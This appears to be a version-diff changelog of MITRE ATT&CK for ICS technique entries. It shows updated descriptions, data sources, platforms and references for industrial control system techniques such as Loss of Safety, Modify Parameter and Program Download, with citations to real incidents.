| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T828 | https://collaborate.mitre.org/attackics/index.php/Technique/T0828 |
| x_mitre_platforms[0] | Windows | None |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Distrupted Operations at Lion Company June 2020', 'description': 'Paganini, Pierluigi. (2020, June 14). Ransomware attack disrupts operations at Australian beverage company Lion. Retrieved October 8, 2021.', 'url': 'https://securityaffairs.co/wordpress/104749/cyber-crime/ransomware-attack-hit-lion.html'} | |
| external_references | {'source_name': 'Lion Cyber Incident June 2020', 'description': 'Lion Corporation. (2020, June 26). Lion Cyber incident update: 26 June 2020. Retrieved October 8, 2021.', 'url': 'https://lionco.com/2020/06/26/lion-update-re-cyber-issue/'} | |
| external_references | {'source_name': 'Colonial Pipeline System Distruption May 2021', 'description': 'Colonial Pipeline Company. (2021, May). Media Statement Update: Colonial Pipeline System Disruption. Retrieved October 8, 2021.', 'url': 'https://www.colpipe.com/news/press-releases/media-statement-colonial-pipeline-system-disruption'} |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may cause loss of safety whether on purpose or a | t | 1 | Adversaries may compromise safety system functions designed |
| > | s a consequence of actions taken to accomplish an operation. | > | to maintain safe operation of a process when unacceptable or | ||
| > | The loss of safety can describe a physical impact and threa | > | dangerous conditions occur. Safety systems are often compos | ||
| > | t, or the potential for unsafe conditions and activity in te | > | ed of the same elements as control systems but have the sole | ||
| > | rms of control systems environments, devices, or processes. | > | purpose of ensuring the process fails in a predetermined sa | ||
| > | For instance, an adversary may issue commands or influence a | > | fe manner. Many unsafe conditions in process control happen | ||
| > | nd possibly inhibit safety mechanisms that allow the injury | > | too quickly for a human operator to react to. Speed is criti | ||
| > | of and possible loss of life. This can also encompass scenar | > | cal in correcting these conditions to limit serious impacts | ||
| > | ios resulting in the failure of a safety mechanism or contro | > | such as Loss of Control and Property Damage. Adversaries may | ||
| > | l, that may lead to unsafe and dangerous execution and outco | > | target and disable safety system functions as a prerequisit | ||
| > | mes of physical processes and related systems. (Citation: Re | > | e to subsequent attack execution or to allow for future unsa | ||
| > | ference - Corero) (Citation: Reference - SANS - 201510) (Cit | > | fe conditionals to go unchecked. Detection of a Loss of Safe | ||
| > | ation: Reference - RIoT) The German Federal Office for Info | > | ty by operators can result in the shutdown of a process due | ||
| > | rmation Security (BSI) reported a targeted attack on a steel | > | to strict policies regarding safety systems. This can cause | ||
| > | mill in its 2014 IT Security Report. (Citation: German Stee | > | a Loss of Productivity and Revenue and may meet the technica | ||
| > | l Mill - German Federal Office for Information Security - 20 | > | l goals of adversaries seeking to cause process disruptions. | ||
| > | 14) These targeted attacks affected industrial operations an | ||||
| > | d resulted in breakdowns of control system components and ev | ||||
| > | en entire installations. As a result of these breakdowns, ma | ||||
| > | ssive impact resulted in damage and unsafe conditions from t | ||||
| > | he uncontrolled shutdown of a blast furnace. A Polish stud | ||||
| > | ent used a remote controller device to interface with the Lo | ||||
| > | dz city tram system in Poland. (Citation: LodzTram-LondonRec | ||||
| > | onnections-2017-12) (Citation: LodzTram-InHomelandSecurity-2 | ||||
| > | 008-02) (Citation: LodzTram-Schneier-2008-01) Using this rem | ||||
| > | ote, the student was able to capture and replay legitimate t | ||||
| > | ram signals. As a consequence, four trams were derailed and | ||||
| > | twelve people injured due to resulting emergency stops. (Cit | ||||
| > | ation: LodzTram-InHomelandSecurity-2008-02) The track contro | ||||
| > | lling commands issued may have also resulted in tram collisi | ||||
| > | ons, a further risk to those on board and nearby the areas o | ||||
| > | f impact. (Citation: LodzTram-Schneier-2008-01) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-12 07:57:26.506000+00:00 |
| description | Adversaries may cause loss of safety whether on purpose or as a consequence of actions taken to accomplish an operation. The loss of safety can describe a physical impact and threat, or the potential for unsafe conditions and activity in terms of control systems environments, devices, or processes. For instance, an adversary may issue commands or influence and possibly inhibit safety mechanisms that allow the injury of and possible loss of life. This can also encompass scenarios resulting in the failure of a safety mechanism or control, that may lead to unsafe and dangerous execution and outcomes of physical processes and related systems. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill in its 2014 IT Security Report. (Citation: German Steel Mill - German Federal Office for Information Security - 2014) These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact resulted in damage and unsafe conditions from the uncontrolled shutdown of a blast furnace. A Polish student used a remote controller device to interface with the Lodz city tram system in Poland. (Citation: LodzTram-LondonReconnections-2017-12) (Citation: LodzTram-InHomelandSecurity-2008-02) (Citation: LodzTram-Schneier-2008-01) Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops. (Citation: LodzTram-InHomelandSecurity-2008-02) The track controlling commands issued may have also resulted in tram collisions, a further risk to those on board and nearby the areas of impact. (Citation: LodzTram-Schneier-2008-01) | Adversaries may compromise safety system functions designed to maintain safe operation of a process when unacceptable or dangerous conditions occur. Safety systems are often composed of the same elements as control systems but have the sole purpose of ensuring the process fails in a predetermined safe manner. Many unsafe conditions in process control happen too quickly for a human operator to react to. Speed is critical in correcting these conditions to limit serious impacts such as Loss of Control and Property Damage. Adversaries may target and disable safety system functions as a prerequisite to subsequent attack execution or to allow for future unsafe conditionals to go unchecked. Detection of a Loss of Safety by operators can result in the shutdown of a process due to strict policies regarding safety systems. This can cause a Loss of Productivity and Revenue and may meet the technical goals of adversaries seeking to cause process disruptions. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T880 | https://collaborate.mitre.org/attackics/index.php/Technique/T0880 |
| x_mitre_platforms[0] | Windows | None |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'LodzTram-LondonReconnections-2017-12', 'description': 'John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019.', 'url': 'https://www.londonreconnections.com/2017/hacked-cyber-security-railways/'} | |
| external_references | {'source_name': 'LodzTram-InHomelandSecurity-2008-02', 'description': 'Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019.', 'url': 'https://inhomelandsecurity.com/teen%20hacker%20in%20poland%20plays%20tr/'} | |
| external_references | {'source_name': 'LodzTram-Schneier-2008-01', 'description': 'Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019.', 'url': 'https://www.schneier.com/blog/archives/2008/01/hacking%20the%20pol.html'} | |
| external_references | {'source_name': 'German Steel Mill - German Federal Office for Information Security - 2014', 'description': 'Bundesamt für Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security). (2014). Die Lage der IT-Sicherheit in Deutschland 2014 (The State of IT Security in Germany). Retrieved October 30, 2019.', 'url': 'https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?%20blob=publicationFile&v=3'} | |
| external_references | {'source_name': 'Reference - Corero', 'description': 'Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', 'url': 'https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'} | |
| external_references | {'source_name': 'Reference - SANS - 201510', 'description': 'Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', 'url': 'https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'} | |
| external_references | {'source_name': 'Reference - RIoT', 'description': 'Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.'} |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-12 07:57:26.506000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T829 | https://collaborate.mitre.org/attackics/index.php/Technique/T0829 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| kill_chain_phases[0]['phase_name'] | execution-ics | collection-ics |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T830 | https://collaborate.mitre.org/attackics/index.php/Technique/T0830 |
| x_mitre_data_sources[0] | Network device logs | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Packet capture | Process: OS API Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | Command: Command Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may manipulate the I/O image of PLCs through var | t | 1 | Adversaries may manipulate the I/O image of PLCs through var |
| > | ious means to prevent them from functioning as expected. Met | > | ious means to prevent them from functioning as expected. Met | ||
| > | hods of I/O image manipulation may include overriding the I/ | > | hods of I/O image manipulation may include overriding the I/ | ||
| > | O table via direct memory manipulation or using the override | > | O table via direct memory manipulation or using the override | ||
| > | function used for testing PLC programs. (Citation: Guidance | > | function used for testing PLC programs. (Citation: Guidance | ||
| > | - ISA PLC) During the PLC scan cycle, the state of the a | > | - ISA PLC) During the scan cycle, a PLC reads the status | ||
| > | ctual physical inputs is copied to a portion of the PLC memo | > | of all inputs and stores them in an image table.2 The image | ||
| > | ry, commonly called the input image table. When the program | > | table is the PLC’s internal storage location where values o | ||
| > | is scanned, it examines the input image table to read the st | > | f inputs/outputs for one scan are stored while it executes t | ||
| > | ate of a physical input. When the logic determines the sta | > | he user program. After the PLC has solved the entire logic p | ||
| > | te of a physical output, it writes to a portion of the PLC m | > | rogram, it updates the output image table. The contents of t | ||
| > | emory commonly called the output image table. The output ima | > | his output image table are written to the corresponding outp | ||
| > | ge may also be examined during the program scan. To update t | > | ut points in I/O Modules. One of the unique characteristics | ||
| > | he physical outputs, the output image table contents are cop | > | of PLCs is their ability to override the status of a physic | ||
| > | ied to the physical outputs after the program is scanned. O | > | al discrete input or to override the logic driving a physica | ||
| > | ne of the unique characteristics of PLCs is their ability to | > | l output coil and force the output to a desired status. | ||
| > | override the status of a physical discrete input or to over | ||||
| > | ride the logic driving a physical output coil and force the | ||||
| > | output to a desired status. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-14 15:25:32.143000+00:00 |
| description | Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. (Citation: Guidance - ISA PLC) During the PLC scan cycle, the state of the actual physical inputs is copied to a portion of the PLC memory, commonly called the input image table. When the program is scanned, it examines the input image table to read the state of a physical input. When the logic determines the state of a physical output, it writes to a portion of the PLC memory commonly called the output image table. The output image may also be examined during the program scan. To update the physical outputs, the output image table contents are copied to the physical outputs after the program is scanned. One of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status. | Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. (Citation: Guidance - ISA PLC) During the scan cycle, a PLC reads the status of all inputs and stores them in an image table.2 The image table is the PLC’s internal storage location where values of inputs/outputs for one scan are stored while it executes the user program. After the PLC has solved the entire logic program, it updates the output image table. The contents of this output image table are written to the corresponding output points in I/O Modules. One of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status. |
| x_mitre_data_sources[0] | Controller program | Operational Databases: Process History/Live Data |
| x_mitre_data_sources[1] | Process monitoring | Operational Databases: Device Alarm |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'PLC-Blaster 2', 'description': 'Spenneberg, Ralf. (2016). PLC-Blaster. Retrieved June 6, 2019.', 'url': 'https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf'} | |
| external_references | {'source_name': 'Stuxnet - Symantec - 201102', 'description': 'Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.', 'url': 'https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may manipulate physical process control within t | t | 1 | Adversaries may manipulate physical process control within t |
| > | he industrial environment. Methods of manipulating control c | > | he industrial environment. Methods of manipulating control c | ||
| > | an include changes to set point values, tags, or other param | > | an include changes to set point values, tags, or other param | ||
| > | eters. Adversaries may manipulate control systems devices or | > | eters. Adversaries may manipulate control systems devices or | ||
| > | possibly leverage their own, to communicate with and comman | > | possibly leverage their own, to communicate with and comman | ||
| > | d physical control processes. The duration of manipulation m | > | d physical control processes. The duration of manipulation m | ||
| > | ay be temporary or longer sustained, depending on operator d | > | ay be temporary or longer sustained, depending on operator d | ||
| > | etection. Methods of Manipulation of Control include: * Ma | > | etection. Methods of Manipulation of Control include: Man-in | ||
| > | n-in-the-middle * Spoof command message * Changing setpoint | > | -the-middle, Spoof command message, Changing setpoints. A Po | ||
| > | s | > | lish student used a remote controller device to interface wi | ||
| > | th the Lodz city tram system in Poland.(Citation: LondonReco | ||||
| > | nnections Hacked Cyber Security Railways May 2017)(Citation: | ||||
| > | InHomelandSecurity Hacker Poland February 2008)(Citation: S | ||||
| > | chneier Hacking Polish Trams January 2008) Using this remote | ||||
| > | , the student was able to capture and replay legitimate tram | ||||
| > | signals. As a consequence, four trams were derailed and twe | ||||
| > | lve people injured due to resulting emergency stops.(Citatio | ||||
| > | n: InHomelandSecurity Hacker Poland February 2008)Using this | ||||
| > | remote, the student was able to capture and replay legitima | ||||
| > | te tram signals. As a consequence, four trams were derailed | ||||
| > | and twelve people injured due to resulting emergency stops.( | ||||
| > | Citation: InHomelandSecurity Hacker Poland February 2008) Th | ||||
| > | e track controlling commands issued may have also resulted i | ||||
| > | n tram collisions, a further risk to those on board and near | ||||
| > | by the areas of impact.(Citation: Schneier Hacking Polish Tr | ||||
| > | ams January 2008) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-12 07:57:26.506000+00:00 |
| description | Adversaries may manipulate physical process control within the industrial environment. Methods of manipulating control can include changes to set point values, tags, or other parameters. Adversaries may manipulate control systems devices or possibly leverage their own, to communicate with and command physical control processes. The duration of manipulation may be temporary or longer sustained, depending on operator detection. Methods of Manipulation of Control include: * Man-in-the-middle * Spoof command message * Changing setpoints | Adversaries may manipulate physical process control within the industrial environment. Methods of manipulating control can include changes to set point values, tags, or other parameters. Adversaries may manipulate control systems devices or possibly leverage their own, to communicate with and command physical control processes. The duration of manipulation may be temporary or longer sustained, depending on operator detection. Methods of Manipulation of Control include: Man-in-the-middle, Spoof command message, Changing setpoints. A Polish student used a remote controller device to interface with the Lodz city tram system in Poland.(Citation: LondonReconnections Hacked Cyber Security Railways May 2017)(Citation: InHomelandSecurity Hacker Poland February 2008)(Citation: Schneier Hacking Polish Trams January 2008) Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops.(Citation: InHomelandSecurity Hacker Poland February 2008)Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops.(Citation: InHomelandSecurity Hacker Poland February 2008) The track controlling commands issued may have also resulted in tram collisions, a further risk to those on board and nearby the areas of impact.(Citation: Schneier Hacking Polish Trams January 2008) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T831 | https://collaborate.mitre.org/attackics/index.php/Technique/T0831 |
| x_mitre_platforms[0] | Windows | None |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'LondonReconnections Hacked Cyber Security Railways May 2017', 'description': 'John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019.', 'url': 'https://www.londonreconnections.com/2017/hacked-cyber-security-railways/'} | |
| external_references | {'source_name': 'InHomelandSecurity Hacker Poland February 2008', 'description': 'Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019.', 'url': 'https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/'} | |
| external_references | {'source_name': 'Schneier Hacking Polish Trams January 2008', 'description': 'Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019.', 'url': 'https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html'} |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-12 07:57:26.506000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T832 | https://collaborate.mitre.org/attackics/index.php/Technique/T0832 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Field Controller/RTU/PLC/IED |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T849 | https://collaborate.mitre.org/attackics/index.php/Technique/T0849 |
| x_mitre_data_sources[0] | File Monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | File: File Metadata |
| x_mitre_data_sources[2] | Binary file metadata | File: File Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Scheduled Job: Scheduled Job Metadata | |
| x_mitre_data_sources | Scheduled Job: Scheduled Job Modification | |
| x_mitre_data_sources | Service: Service Creation | |
| x_mitre_data_sources | Service: Service Metadata |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'} | |
| x_mitre_platforms | Windows |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T838 | https://collaborate.mitre.org/attackics/index.php/Technique/T0838 |
| x_mitre_data_sources[0] | Sequential event recorder | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Controller parameters | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network protocol analysis | Operational Databases: Process History/Live Data |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Device Configuration/Parameters |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture | |
| x_mitre_platforms | Windows |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify parameters used to instruct industria | t | 1 | Adversaries may modify parameters used to instruct industria |
| > | l control system devices. These devices operate via programs | > | l control system devices. These devices operate via programs | ||
| > | that dictate how and when to perform actions based on such | > | that dictate how and when to perform actions based on such | ||
| > | parameters. Such parameters can determine the extent to whic | > | parameters. Such parameters can determine the extent to whic | ||
| > | h an action is performed and may specify additional options. | > | h an action is performed and may specify additional options. | ||
| > | For example, a program on a control system device dictating | > | For example, a program on a control system device dictating | ||
| > | motor processes may take a parameter defining the total num | > | motor processes may take a parameter defining the total num | ||
| > | ber of seconds to run that motor. An adversary can pote | > | ber of seconds to run that motor. An adversary can pote | ||
| > | ntially modify these parameters to produce an outcome outsid | > | ntially modify these parameters to produce an outcome outsid | ||
| > | e of what was intended by the operators. By modifying system | > | e of what was intended by the operators. By modifying system | ||
| > | and process critical parameters, the adversary may cause Im | > | and process critical parameters, the adversary may cause Im | ||
| > | pact to equipment and/or control processes. Modified paramet | > | pact to equipment and/or control processes. Modified paramet | ||
| > | ers may be turned into dangerous, out-of-bounds, or unexpect | > | ers may be turned into dangerous, out-of-bounds, or unexpect | ||
| > | ed values from typical operations. For example, specifying t | > | ed values from typical operations. For example, specifying t | ||
| > | hat a process run for more or less time than it should, or d | > | hat a process run for more or less time than it should, or d | ||
| > | ictating an unusually high, low, or invalid value as a param | > | ictating an unusually high, low, or invalid value as a param | ||
| > | eter. In the Maroochy Attack, Vitek Boden gained remote co | > | eter. In the Maroochy Attack, Vitek Boden gained remote co | ||
| > | mputer access to the control system and altered data so that | > | mputer access to the control system and altered data so that | ||
| > | whatever function should have occurred at affected pumping | > | whatever function should have occurred at affected pumping | ||
| > | stations did not occur or occurred in a different way. The s | > | stations did not occur or occurred in a different way. The s | ||
| > | oftware program installed in the laptop was one developed by | > | oftware program installed in the laptop was one developed by | ||
| > | Hunter Watertech for its use in changing configurations in | > | Hunter Watertech for its use in changing configurations in | ||
| > | the PDS computers. This ultimately led to 800,000 liters of | > | the PDS computers. This ultimately led to 800,000 liters of | ||
| > | raw sewage being spilled out into the community. (Citation: | > | raw sewage being spilled out into the community. (Citation: | ||
| > | Maroochy - MITRE - 200808) | > | Maroochy - MITRE - 200808) In the Oldsmar water treatment at | ||
| > | tack, adversaries raised the sodium hydroxide setpoint value | ||||
| > | from 100 part-per-million (ppm) to 11,100 ppm, far beyond n | ||||
| > | ormal operating levels. (Citation: Oldsmar Water Treatment A | ||||
| > | ttack Feb 2021) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-14 15:25:32.143000+00:00 |
| description | Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor. An adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause Impact to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. (Citation: Maroochy - MITRE - 200808) | Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor. An adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause Impact to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. (Citation: Maroochy - MITRE - 200808) In the Oldsmar water treatment attack, adversaries raised the sodium hydroxide setpoint value from 100 part-per-million (ppm) to 11,100 ppm, far beyond normal operating levels. (Citation: Oldsmar Water Treatment Attack Feb 2021) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T836 | https://collaborate.mitre.org/attackics/index.php/Technique/T0836 |
| x_mitre_data_sources[0] | Sequential event recorder | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Network protocol analysis | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Packet capture | Operational Databases: Device Alarm |
| x_mitre_data_sources[3] | Application logs | Asset: Device Configuration/Parameters |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Oldsmar Water Treatment Attack Feb 2021', 'description': 'Pinellas County Sheriff’s Office. (2021, February 8). Treatment Plant Intrusion Press Conference. Retrieved October 8, 2021.', 'url': 'https://www.youtube.com/watch?v=MkXDSOgLQ6M'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['SYSTEM'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T839 | https://collaborate.mitre.org/attackics/index.php/Technique/T0839 |
| x_mitre_data_sources[0] | Sequential event recorder | Firmware: Firmware Modification |
| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Packet capture | Network Traffic: Network Traffic Flow |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Digital signatures | |
| x_mitre_platforms | Windows |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['Administrator'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T801 | https://collaborate.mitre.org/attackics/index.php/Technique/T0801 |
| x_mitre_data_sources[0] | Controller program | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network device logs | |
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Host network interfaces | |
| x_mitre_platforms | Windows |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T840 | https://collaborate.mitre.org/attackics/index.php/Technique/T0840 |
| x_mitre_data_sources[0] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | API monitoring | Process: OS API Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T842 | https://collaborate.mitre.org/attackics/index.php/Technique/T0842 |
| x_mitre_data_sources[0] | Network device logs | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Host network interfaces | |
| x_mitre_platforms | Windows |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T861 | https://collaborate.mitre.org/attackics/index.php/Technique/T0861 |
| x_mitre_data_sources[0] | Network protocol analysis | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture | |
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_platforms | Windows |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may perform a program download to load malicious | t | 1 | Adversaries may perform a program download to transfer a use |
| > | or unintended program logic on a device as a method of pers | > | r program to a controller. ariations of program download, su | ||
| > | istence or to disrupt response functions or process control. | > | ch as online edit and program append, allow a controller to | ||
| > | Program download onto devices, such as PLCs, allows adversa | > | continue running during the transfer and reconfiguration pro | ||
| > | ries to implement custom logic. Malicious PLC programs may b | > | cess without interruption to process control. However, befor | ||
| > | e used to disrupt physical processes or enable adversary per | > | e starting a full program download (i.e., download all) a co | ||
| > | sistence. The act of a program download will cause the PLC t | > | ntroller may need to go into a stop state. This can have neg | ||
| > | o enter a STOP operation state, which may prevent response f | > | ative consequences on the physical process, especially if th | ||
| > | unctions from operating correctly. | > | e controller is not able to fulfill a time-sensitive action. | ||
| > | Adversaries may choose to avoid a download all in favor of | ||||
| > | an online edit or program append to avoid disrupting the phy | ||||
| > | sical process. An adversary may need to use the technique De | ||||
| > | tect Operating Mode or Change Operating Mode to make sure th | ||||
| > | e controller is in the proper mode to accept a program downl | ||||
| > | oad. The granularity of control to transfer a user program i | ||||
| > | n whole or parts is dictated by the management protocol (e.g | ||||
| > | ., S7CommPlus, TriStation) and underlying controller API. Th | ||||
| > | us, program download is a high-level term for the suite of v | ||||
| > | endor-specific API calls used to configure a controller’s us | ||||
| > | er program memory space. Modify Controller Tasking and Modif | ||||
| > | y Program represent the configuration changes that are trans | ||||
| > | ferred to a controller via a program download. | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
